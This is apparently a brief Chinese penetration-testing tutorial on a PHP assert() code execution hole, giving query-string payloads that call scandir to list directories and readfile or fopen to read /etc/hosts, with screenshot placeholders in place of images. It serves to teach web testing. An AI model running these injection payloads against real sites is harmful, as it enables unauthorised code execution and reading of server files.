assert()代码执行漏洞

   

使用?s=print_r(scandir('./'))进行目录扫描以发现代码的执行漏洞

利用此漏洞查询其他文件,例如hosts

首先,扫描上级目录,payload

?s=print_r(scandir('../'))

assert()代码执行漏洞_第1张图片
看到这是linux操作系统的文件目录

所以hosts应该在etc里面,读一下就能看到了。

使用fopen() 或者 readfile() 函数读取文件

?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))

在这里插入图片描述
完成文件读取。

你可能感兴趣的:(渗透测试)